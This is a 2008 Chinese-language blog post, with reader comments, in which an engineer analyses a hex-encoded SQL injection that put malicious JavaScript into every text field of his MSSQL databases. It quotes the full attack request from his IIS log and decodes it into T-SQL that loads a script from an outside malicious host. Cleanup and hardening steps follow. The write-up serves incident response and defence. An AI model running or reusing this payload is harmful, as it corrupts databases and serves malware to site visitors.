HEX 編碼的 SQL Injection

此篇文章最近更新時間為2008-10-13 12:44:23 目前共有4篇留言
相關標籤:

關於作者 - JosephJ

D-Link 友訊科技工程師。喜好戶外運動、2008 年 5 月完成「跑步環島」。對於新技術跟程式碼有著強烈的偏執狂。

自己在 8 年前用 Windows + ASP + MSSQL 架設的幾個網站
本來都沒有什麼大問題,但今年以來不斷地被植入惡意的 JavaScript
大多數都是在頁面的尾部,有少部分是被塞入部分 Table 的資料錄中
但也一直找不到問題的癥結,想說應該是系統 Registry 被植入了某些東西,所以決定重灌
沒想到安穩地過了一個多月,這兩天又被回報有中毒的現象
一看,哇!整個資料庫只要是字串的欄位全部被添加惡意的外部 JavaScript(http://www2.s800qn.cn/csrss/w.js)
這下事情可大條了,一是不知道事情發生的原委、二是不知道該如何把資料還原...

新型態的 HEX 編碼 SQL Injection

回家第一件事:檢查 IIS 的 Log,完全找不到相關的 GET QueryString
只能將這個 JS 的網址丟進搜尋引擎找,結果找到了 Injection via Hex encoded SQL
原來現在 Request 把什麼特殊符號給過濾掉已經沒有用了,它可以利用 HEX 編碼的方式去避掉這一層

再去檢查一下我的 IIS Log,果然發現了:
/photo_mid.asp UserNo=&Page=22&Keyword=;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x 4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204 445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E 616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622 0776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E7874 7970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E7 8747970653D31363729204F50454E205461626C655F437572736F72204645544348204E455854204652 4F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485 F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574 205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2 F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27 272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F746 9746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4 D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C65 5F437572736F72204445414C4C4F43415445205461626C655F437572736F72;|305|800a0bcd|可能是_BOF_或_EOF_的值為_True,或目前的資料錄已被刪除。

植入的 SQL

把從 0x 後面、分號結尾前的數字丟到 TRANSLATOR, BINARY 的 HEX 欄位中 decode,
赫然發現原來是一串很邪惡的 SQL 指令!
DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR Select a.name, b.name from sysobjects a, syscolumns b Where a.id = b.id AND a.xtype='u' AND (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C DECLARE @P varchar(255) SET @P = '"...惡意的 script 標籤...' WHILE (@@FETCH_STATUS=0) BEGIN EXEC('Update [' + @T + '] Set [' + @C + '] = ''' + @P + '[' + @C + ']''' Where ' + @C + ' Not Like ''%' + @P + '%''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 這段 code 是利用 sysobject 與 syscolumns 兩個 system table 取得所有的 User Table 與字串的 Column, 然後將這些資料存入 Cursor 中,將所有使用者資料表的字串資料錄全部植入,非常有效率。

移除的方式

但由於植入的字串都一樣,我就直接用它寫好的 SQL 稍微改一下,加上 REPLACE 函式: EXEC('Update [' + @T + '] Set [' + @C + '] = Replace(' + @C + ', ''' + @P + ''', '''') Where ' + @C + ' Like ''%' + @P + '%''') 這樣子就可以把資料錄中的 script 給移除掉。

後續

雖然移除掉了惡意的資料,但是系統明顯地還是有漏洞, 所以我裝了 URLScan,將一些明顯惡意的 Script 給過濾掉 再來就是裝上了宗豪幫我找到的 Function,過濾所有的 GET, POST, Cookie。 明天再來觀察狀況有沒有改善吧 :p

http://blog.miniasp.com/?tag=/urlscan


前一篇:一個人看電影 後一篇:Random Notes

Comments

  1. paddy 2008-12-10 23:08:32
    用預儲程序比較能治本
    明明是文字欄位為什麼要能讓別人打SQL命令句
    /photo_mid.asp UserNo=&Page=22&Keyword=[文字]
    [文字]進入資料庫,就讓他是文字,別讓他有執行的機會

    如果搞缸一點
    把前後端介面的SQL帳號權限也分開,這樣更安全
    前端查詢其實也只需要查詢權限,別給SA權限
  2. josephj 2008-10-24 13:26:26
    Hi 安安,

    我是在每一頁都做了這個 Function:
    所以有任何有問題的 GET, POST 與 Cookie 都會被濾掉
    http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx

    Tommy,

    因為 Cookie 有可能被覆寫啊
    Select * From UserID = '" & Request.Cookies("UserID")
    也是很危險的
  3. 安安 2008-10-21 01:04:21
    您好:

    我遇到的情形跟你一模一樣,還原了資料庫,裝了URLScan.
    但是今天還是被植入惡意的JavaScript,
    看來URLScan 還是檔不住這個攻擊 !
  4. tommy 2008-10-18 15:48:43
    版主您好
    關於SQL Injection
    過濾所有的 GET, POST我可以了解
    但過濾所有的 Cookie 是為什麼?
    可以點點我嗎?
暱稱: 必填。
Email: 非必填。若填寫為不公開欄位,僅供站長參考聯繫。
內容: 必填。限 255 個字元以內。
送出

Facebook Comment